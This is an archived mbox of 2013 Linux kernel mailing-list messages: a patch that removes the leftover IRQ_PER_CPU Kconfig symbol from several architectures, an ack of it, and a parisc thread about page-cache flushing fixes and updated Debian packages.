Xref: news.gmane.org gmane.linux.ports.ia64:23011 gmane.linux.kernel:1435034 gmane.linux.hardware.blackfin.kernel.devel:6898 gmane.linux.ports.hexagon:484 gmane.linux.ports.mips.general:36815 gmane.linux.ports.parisc:4792 gmane.linux.ports.ppc64.devel:87598 gmane.linux.ports.sh.devel:19124 gmane.linux.kernel.cross-arch:16837
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/23011>

The IRQ_PER_CPU Kconfig symbol was removed in the following commit:

Commit 6a58fb3bad099076f36f0f30f44507bc3275cdb6 ("genirq: Remove
CONFIG_IRQ_PER_CPU") merged in v2.6.39-rc1.

But IRQ_PER_CPU wasn't removed from any of the architecture Kconfig
files where it was defined or selected. It's completely unused so remove
the remaining references.

Signed-off-by: James Hogan <james.hogan@imgtec.com>
Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: Mike Frysinger <vapier@gentoo.org>
Cc: Fenghua Yu <fenghua.yu@intel.com>
Cc: Ralf Baechle <ralf@linux-mips.org>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Cc: Paul Mackerras <paulus@samba.org>
Cc: Paul Mundt <lethal@linux-sh.org>
Acked-by: Tony Luck <tony.luck@intel.com>
Acked-by: Richard Kuo <rkuo@codeaurora.org>
---

Does anybody want to pick this patch up?

 arch/blackfin/Kconfig |    1 -
 arch/hexagon/Kconfig  |    1 -
 arch/ia64/Kconfig     |    1 -
 arch/mips/Kconfig     |    1 -
 arch/parisc/Kconfig   |    1 -
 arch/powerpc/Kconfig  |    1 -
 arch/sh/Kconfig       |    3 ---
 7 files changed, 0 insertions(+), 9 deletions(-)

diff --git a/arch/blackfin/Kconfig b/arch/blackfin/Kconfig
index b6f3ad5..c709715 100644
--- a/arch/blackfin/Kconfig
+++ b/arch/blackfin/Kconfig
@@ -38,7 +38,6 @@ config BLACKFIN
 	select HAVE_GENERIC_HARDIRQS
 	select GENERIC_ATOMIC64
 	select GENERIC_IRQ_PROBE
-	select IRQ_PER_CPU if SMP
 	select USE_GENERIC_SMP_HELPERS if SMP
 	select HAVE_NMI_WATCHDOG if NMI_WATCHDOG
 	select GENERIC_SMP_IDLE_THREAD
diff --git a/arch/hexagon/Kconfig b/arch/hexagon/Kconfig
index 0744f7d..800dd9c 100644
--- a/arch/hexagon/Kconfig
+++ b/arch/hexagon/Kconfig
@@ -12,7 +12,6 @@ config HEXAGON
 	# select ARCH_WANT_OPTIONAL_GPIOLIB
 	# select ARCH_REQUIRE_GPIOLIB
 	# select HAVE_CLK
-	# select IRQ_PER_CPU
 	# select GENERIC_PENDING_IRQ if SMP
 	select HAVE_IRQ_WORK
 	select GENERIC_ATOMIC64
diff --git a/arch/ia64/Kconfig b/arch/ia64/Kconfig
index 3279646..00c2e88 100644
--- a/arch/ia64/Kconfig
+++ b/arch/ia64/Kconfig
@@ -29,7 +29,6 @@ config IA64
 	select ARCH_DISCARD_MEMBLOCK
 	select GENERIC_IRQ_PROBE
 	select GENERIC_PENDING_IRQ if SMP
-	select IRQ_PER_CPU
 	select GENERIC_IRQ_SHOW
 	select ARCH_WANT_OPTIONAL_GPIOLIB
 	select ARCH_HAVE_NMI_SAFE_CMPXCHG
diff --git a/arch/mips/Kconfig b/arch/mips/Kconfig
index 2ac626a..451c2e7 100644
--- a/arch/mips/Kconfig
+++ b/arch/mips/Kconfig
@@ -2161,7 +2161,6 @@ source "mm/Kconfig"
 config SMP
 	bool "Multi-Processing support"
 	depends on SYS_SUPPORTS_SMP
-	select IRQ_PER_CPU
 	select USE_GENERIC_SMP_HELPERS
 	help
 	  This enables support for systems with more than one CPU. If you have
diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index b77feff..8525be4 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -16,7 +16,6 @@ config PARISC
 	select BROKEN_RODATA
 	select GENERIC_IRQ_PROBE
 	select GENERIC_PCI_IOMAP
-	select IRQ_PER_CPU
 	select ARCH_HAVE_NMI_SAFE_CMPXCHG
 	select GENERIC_SMP_IDLE_THREAD
 	select GENERIC_STRNCPY_FROM_USER
diff --git a/arch/powerpc/Kconfig b/arch/powerpc/Kconfig
index 17903f1..f3d7090a 100644
--- a/arch/powerpc/Kconfig
+++ b/arch/powerpc/Kconfig
@@ -125,7 +125,6 @@ config PPC
 	select HAVE_GENERIC_HARDIRQS
 	select ARCH_WANT_IPC_PARSE_VERSION
 	select SPARSE_IRQ
-	select IRQ_PER_CPU
 	select IRQ_DOMAIN
 	select GENERIC_IRQ_SHOW
 	select GENERIC_IRQ_SHOW_LEVEL
diff --git a/arch/sh/Kconfig b/arch/sh/Kconfig
index babc2b8..6f799ec 100644
--- a/arch/sh/Kconfig
+++ b/arch/sh/Kconfig
@@ -91,9 +91,6 @@ config GENERIC_CSUM
 config GENERIC_HWEIGHT
 	def_bool y
 
-config IRQ_PER_CPU
-	def_bool y
-
 config GENERIC_GPIO
 	def_bool n
 
-- 
1.7.7.6


--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Mundt <lethal-M7jkjyW5wf5g9hUCZPvPmw@public.gmane.org>
Newsgroups: gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.kernel.cross-arch,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH RESEND 1/1] arch Kconfig: remove
	references to IRQ_PER_CPU
Date: Mon, 4 Feb 2013 20:30:44 +0900
Lines: 24
Approved: news@gmane.org
Message-ID: <20130204113043.GB12216@linux-sh.org>
References: <1359972583-17134-1-git-send-email-james.hogan@imgtec.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1359977482 20852 80.91.229.3 (4 Feb 2013 11:31:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 4 Feb 2013 11:31:22 +0000 (UTC)
Cc: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org,
        linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        Fenghua Yu <fenghua.yu-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>,
        "James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
        Ralf Baechle <ralf-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org>,
        Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>,
        uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org,
        Thomas Gleixner <tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org>, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org,
        Paul Mackerras <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>
To: James Hogan <james.hogan-1AXoQHu6uovQT0dZR+AlfA@public.gmane.org>
Original-X-From: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org Mon Feb 04 12:31:40 2013
Return-path: <uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>
Envelope-to: glhbkd-uclinux-dist-devel-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org
Original-Received: from blackfin.uclinux.org ([66.11.68.51])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>)
	id 1U2KGv-0005ly-K6
	for glhbkd-uclinux-dist-devel-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org; Mon, 04 Feb 2013 12:31:37 +0100
Original-Received: from blackfin.uclinux.org (blackfin.uclinux.org [127.0.0.1])
	by blackfin.uclinux.org (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP id r14AviOi025911;
	Mon, 4 Feb 2013 05:57:45 -0500
Original-Received: from linux-sh.org (linux-sh.org [111.68.239.195])
	by blackfin.uclinux.org (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP id
	r14AvYrs025893 for <uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>;
	Mon, 4 Feb 2013 05:57:40 -0500
Original-Received: from linux-sh.org (localhost.localdomain [127.0.0.1])
	by linux-sh.org (8.14.5/8.14.4) with ESMTP id r14BUj4s021736;
	Mon, 4 Feb 2013 20:30:45 +0900
Original-Received: (from pmundt@localhost)
	by linux-sh.org (8.14.5/8.14.4/Submit) id r14BUiuQ021716;
	Mon, 4 Feb 2013 20:30:44 +0900
X-Authentication-Warning: linux-sh.org: pmundt set sender to
	lethal-M7jkjyW5wf5g9hUCZPvPmw@public.gmane.org using -f
Content-Disposition: inline
In-Reply-To: <1359972583-17134-1-git-send-email-james.hogan-1AXoQHu6uovQT0dZR+AlfA@public.gmane.org>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-BeenThere: uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
X-Mailman-Version: 2.1.11
Precedence: list
List-Id: <uclinux-dist-devel.blackfin.uclinux.org>
List-Unsubscribe: <https://blackfin.uclinux.org/mailman/options/uclinux-dist-devel>,
	<mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=unsubscribe>
List-Archive: <http://blackfin.uclinux.org/pipermail/uclinux-dist-devel>
List-Post: <mailto:uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>
List-Help: <mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=help>
List-Subscribe: <https://blackfin.uclinux.org/mailman/listinfo/uclinux-dist-devel>,
	<mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=subscribe>
Original-Sender: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
Errors-To: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
Xref: news.gmane.org gmane.linux.hardware.blackfin.kernel.devel:6899 gmane.linux.kernel.cross-arch:16838 gmane.linux.ports.mips.general:36816 gmane.linux.ports.ia64:23012 gmane.linux.ports.parisc:4793 gmane.linux.ports.sh.devel:19125 gmane.linux.ports.hexagon:485 gmane.linux.kernel:1435084 gmane.linux.ports.ppc64.devel:87600
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.blackfin.kernel.devel/6899>

On Mon, Feb 04, 2013 at 10:09:43AM +0000, James Hogan wrote:
> The IRQ_PER_CPU Kconfig symbol was removed in the following commit:
> 
> Commit 6a58fb3bad099076f36f0f30f44507bc3275cdb6 ("genirq: Remove
> CONFIG_IRQ_PER_CPU") merged in v2.6.39-rc1.
> 
> But IRQ_PER_CPU wasn't removed from any of the architecture Kconfig
> files where it was defined or selected. It's completely unused so remove
> the remaining references.
> 
> Signed-off-by: James Hogan <james.hogan-1AXoQHu6uovQT0dZR+AlfA@public.gmane.org>
> Cc: Thomas Gleixner <tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org>
> Cc: Mike Frysinger <vapier-aBrp7R+bbdUdnm+yROfE0A@public.gmane.org>
> Cc: Fenghua Yu <fenghua.yu-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>
> Cc: Ralf Baechle <ralf-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org>
> Cc: "James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>
> Cc: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
> Cc: Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>
> Cc: Paul Mackerras <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>
> Cc: Paul Mundt <lethal-M7jkjyW5wf5g9hUCZPvPmw@public.gmane.org>
> Acked-by: Tony Luck <tony.luck-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>
> Acked-by: Richard Kuo <rkuo-sgV2jX0FEOL9JmXXK+q4OQ@public.gmane.org>

Acked-by: Paul Mundt <lethal-M7jkjyW5wf5g9hUCZPvPmw@public.gmane.org>

From - Thu Nov 08 21:08:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Helge Deller" <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fixes and cleanups in page cache flushing (1/4)
Date: Mon, 04 Feb 2013 16:24:56 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <20130204152456.294020@gmx.net>
References: <20130203225909.GA14573@p100.box>
 <777a626d6eff1b2a6194dcfa6a8ad313@sf-mail.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1359991500 26799 80.91.229.3 (4 Feb 2013 15:25:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 4 Feb 2013 15:25:00 +0000 (UTC)
Cc: dave.anglin@bell.net, James.Bottomley@hansenpartnership.com,
	linux-parisc@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>, deller@gmx.de
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 04 16:25:19 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U2Nv4-0004bb-BA
	for glpp-linux-parisc@plane.gmane.org; Mon, 04 Feb 2013 16:25:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755922Ab3BDPZA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Feb 2013 10:25:00 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:55488 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755834Ab3BDPY7 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Feb 2013 10:24:59 -0500
Original-Received: from mailout-de.gmx.net ([10.1.76.33]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0MJHUa-1Tzdp53BKU-002pWP for
 <linux-parisc@vger.kernel.org>; Mon, 04 Feb 2013 16:24:57 +0100
Original-Received: (qmail 8552 invoked by uid 0); 4 Feb 2013 15:24:57 -0000
Original-Received: from 155.56.68.217 by www004.gmx.net with HTTP;
 Mon, 04 Feb 2013 16:24:56 +0100 (CET)
In-Reply-To: <777a626d6eff1b2a6194dcfa6a8ad313@sf-mail.de>
X-Authenticated: #1045983
X-Flags: 0001
X-Mailer: WWW-Mail 6100 (Global Message Exchange)
X-Priority: 3
X-Provags-ID: V01U2FsdGVkX1+n1VpKRw+ngQQ7uwtic5vc42412f4iXBOXolF9NV
 vvZ1MjRgKZhbjQviKdEfpFOm33W61NWvLKVw== 
X-GMX-UID: n7d9cb4TeSEqUr6WZHQhkYJ+IGRvb0AX
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4794
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4794>

> Von: Rolf Eike Beer <eike-kernel@sf-tec.de>
> Helge Deller wrote:
> > This is the first patch in a series of 4, with which the page cache 
> > flushing of
> > parisc will gets fixed and enhanced. This even fixes the nasty 
> > "minifail" bug
> > (http://wiki.parisc-linux.org/TestCases?highlight=%28minifail%29) 
> > which
> > prevented parisc to stay an official debian port.  Basically the 
> > flush in
> > copy_user_page together with the TLB patch from commit
> > 7139bc1579901b53db7e898789e916ee2fb52d78 is what fixes the minifail 
> > bug.
> 
> Is this series expected to fix the thread related problems I see in the 
> git testsuite?

I expect so, if not, please let us know!

If you want to test yourself, you may check out my "testing" branch from parisc-linux.git which includes all necessary patches:
https://git.kernel.org/?p=linux/kernel/git/deller/parisc-linux.git;a=shortlog;h=refs/heads/testing

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Helge Deller" <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fixes and cleanups in page cache flushing (1/4)
Date: Mon, 04 Feb 2013 17:37:43 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <20130204163743.248510@gmx.net>
References: <20130203225909.GA14573@p100.box>
 <777a626d6eff1b2a6194dcfa6a8ad313@sf-mail.de> <20130204152456.294020@gmx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1359995869 8471 80.91.229.3 (4 Feb 2013 16:37:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 4 Feb 2013 16:37:49 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	James.Bottomley@hansenpartnership.com, dave.anglin@bell.net
To: "Helge Deller" <deller@gmx.de>, deller@gmx.de,
	eike-kernel@sf-tec.de
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 04 17:38:08 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U2P3W-0008Ln-J9
	for glpp-linux-parisc@plane.gmane.org; Mon, 04 Feb 2013 17:38:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756454Ab3BDQhr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Feb 2013 11:37:47 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:62535 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756392Ab3BDQhr (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Feb 2013 11:37:47 -0500
Original-Received: from mailout-de.gmx.net ([10.1.76.2]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0LoKSF-1UdPcW2ZwH-00gLBl for
 <linux-parisc@vger.kernel.org>; Mon, 04 Feb 2013 17:37:45 +0100
Original-Received: (qmail 10587 invoked by uid 0); 4 Feb 2013 16:37:45 -0000
Original-Received: from 155.56.68.214 by www080.gmx.net with HTTP;
 Mon, 04 Feb 2013 17:37:43 +0100 (CET)
In-Reply-To: <20130204152456.294020@gmx.net>
X-Authenticated: #1045983
X-Flags: 0001
X-Mailer: WWW-Mail 6100 (Global Message Exchange)
X-Priority: 3
X-Provags-ID: V01U2FsdGVkX1+N9pkn4iKNYnLmwLnlPe26AlkdMqoR0H64mYL8CN
 yW35OAoG40We755Zqcg8esGv1kWKqeboICTw== 
X-GMX-UID: gIZ9cXcAeSEqZ76WZHQhTxZ+IGRvbwAO
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4795
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4795>

> > Von: Rolf Eike Beer <eike-kernel@sf-tec.de>
> > Helge Deller wrote:
> > > This is the first patch in a series of 4, with which the page cache 
> > > flushing of
> > > parisc will gets fixed and enhanced. This even fixes the nasty 
> > > "minifail" bug
> > > (http://wiki.parisc-linux.org/TestCases?highlight=%28minifail%29) 
> > > which
> > > prevented parisc to stay an official debian port.  Basically the 
> > > flush in
> > > copy_user_page together with the TLB patch from commit
> > > 7139bc1579901b53db7e898789e916ee2fb52d78 is what fixes the minifail 
> > > bug.
> > 
> > Is this series expected to fix the thread related problems I see in the 
> > git testsuite?
> 
> I expect so, if not, please let us know!

Ahem... actually:
MAYBE!!!

The problem is, that you probably will need an updated glibc (and maybe compiler) as well. Dave has done a lot of work to fix stuff. We have copied the most important update-packages to ftp.parisc-linux.org. To update, just make sure the following lines are in your /etc/apt/source.list file:
deb ftp://ftp.de.debian.org/debian-ports unstable main
deb ftp://ftp.parisc-linux.org/debian-ports/unstable unstable main
deb-src ftp://ftp.de.debian.org/debian unstable main

Do *not* just update to the packages of debian-ports.org. If you do that it will render your system unbootable, since the udev-package is broken and it will not find your discs at startup.

It's on my todo-list to upload further packages, update the website on how to update your system, and of course to get a buildd working...

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fixes and cleanups in page cache flushing (1/4)
Date: Mon, 04 Feb 2013 12:11:25 -0500
Lines: 44
Approved: news@gmane.org
Message-ID: <510FEBBD.9000207@bell.net>
References: <20130203225909.GA14573@p100.box> <777a626d6eff1b2a6194dcfa6a8ad313@sf-mail.de> <20130204152456.294020@gmx.net> <20130204163743.248510@gmx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1359997862 29583 80.91.229.3 (4 Feb 2013 17:11:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 4 Feb 2013 17:11:02 +0000 (UTC)
Cc: eike-kernel@sf-tec.de, linux-parisc@vger.kernel.org,
	James.Bottomley@hansenpartnership.com
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 04 18:11:22 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U2PZh-00019P-Mk
	for glpp-linux-parisc@plane.gmane.org; Mon, 04 Feb 2013 18:11:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754016Ab3BDRLC (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Feb 2013 12:11:02 -0500
Original-Received: from mail16.primus.ca ([216.254.141.183]:34000 "EHLO
	mail-02.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1750773Ab3BDRLB (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Feb 2013 12:11:01 -0500
Original-Received: from 174-138-221-160.cpe.distributel.net ([174.138.221.160] helo=[192.168.0.181])
	by mail-02.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1U2PZJ-0007jy-2c; Mon, 04 Feb 2013 12:10:58 -0500
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130107 Thunderbird/17.0.2
In-Reply-To: <20130204163743.248510@gmx.net>
X-Authenticated: danglin-lux@magma.ca - 174-138-221-160.cpe.distributel.net ([192.168.0.181]) [174.138.221.160]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4796
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4796>

On 2/4/2013 11:37 AM, Helge Deller wrote:
>>> Von: Rolf Eike Beer <eike-kernel@sf-tec.de>
>>> Helge Deller wrote:
>>>> This is the first patch in a series of 4, with which the page cache
>>>> flushing of
>>>> parisc will gets fixed and enhanced. This even fixes the nasty
>>>> "minifail" bug
>>>> (http://wiki.parisc-linux.org/TestCases?highlight=%28minifail%29)
>>>> which
>>>> prevented parisc to stay an official debian port.  Basically the
>>>> flush in
>>>> copy_user_page together with the TLB patch from commit
>>>> 7139bc1579901b53db7e898789e916ee2fb52d78 is what fixes the minifail
>>>> bug.
>>> Is this series expected to fix the thread related problems I see in the
>>> git testsuite?
>> I expect so, if not, please let us know!
> Ahem... actually:
> MAYBE!!!
>
> The problem is, that you probably will need an updated glibc (and maybe compiler) as well. Dave has done a lot of work to fix stuff. We have copied the most important update-packages to ftp.parisc-linux.org. To update, just make sure the following lines are in your /etc/apt/source.list file:
> deb ftp://ftp.de.debian.org/debian-ports unstable main
> deb ftp://ftp.parisc-linux.org/debian-ports/unstable unstable main
> deb-src ftp://ftp.de.debian.org/debian unstable main
>
> Do *not* just update to the packages of debian-ports.org. If you do that it will render your system unbootable, since the udev-package is broken and it will not find your discs at startup.
>
> It's on my todo-list to upload further packages, update the website on how to update your system, and of course to get a buildd working...
Just a note, these packages are for debian systems.  I believe that Eike is
running gentoo.  With respect to glibc, Carlos had a set of changes which I
submitted to Debian.  The full set was accepted around the -30 unstable 
release.
I think most of these are in gentoo but the matter needs review.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fixes and cleanups in page cache flushing (1/4)
Date: Mon, 04 Feb 2013 18:57:48 +0100
Lines: 76
Approved: news@gmane.org
Message-ID: <1486683.rMoLpHzbnF@eto>
References: <20130203225909.GA14573@p100.box> <20130204163743.248510@gmx.net> <510FEBBD.9000207@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart6979563.VHPCXQA3fD"; micalg="pgp-sha1"; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7Bit
X-Trace: ger.gmane.org 1360000682 26888 80.91.229.3 (4 Feb 2013 17:58:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 4 Feb 2013 17:58:02 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	James.Bottomley@hansenpartnership.com
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 04 18:58:19 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U2QJ6-00010h-Ca
	for glpp-linux-parisc@plane.gmane.org; Mon, 04 Feb 2013 18:58:16 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753610Ab3BDR55 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Feb 2013 12:57:57 -0500
Original-Received: from mail.sf-mail.de ([62.27.20.61]:42102 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752972Ab3BDR55 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Feb 2013 12:57:57 -0500
Original-Received: (qmail 8919 invoked from network); 4 Feb 2013 17:57:54 -0000
Original-Received: from dslb-188-108-174-062.pools.arcor-ip.net ([::ffff:188.108.174.62]:55352 HELO eto.sf-tec.de) (auth=eike@sf-mail.de)
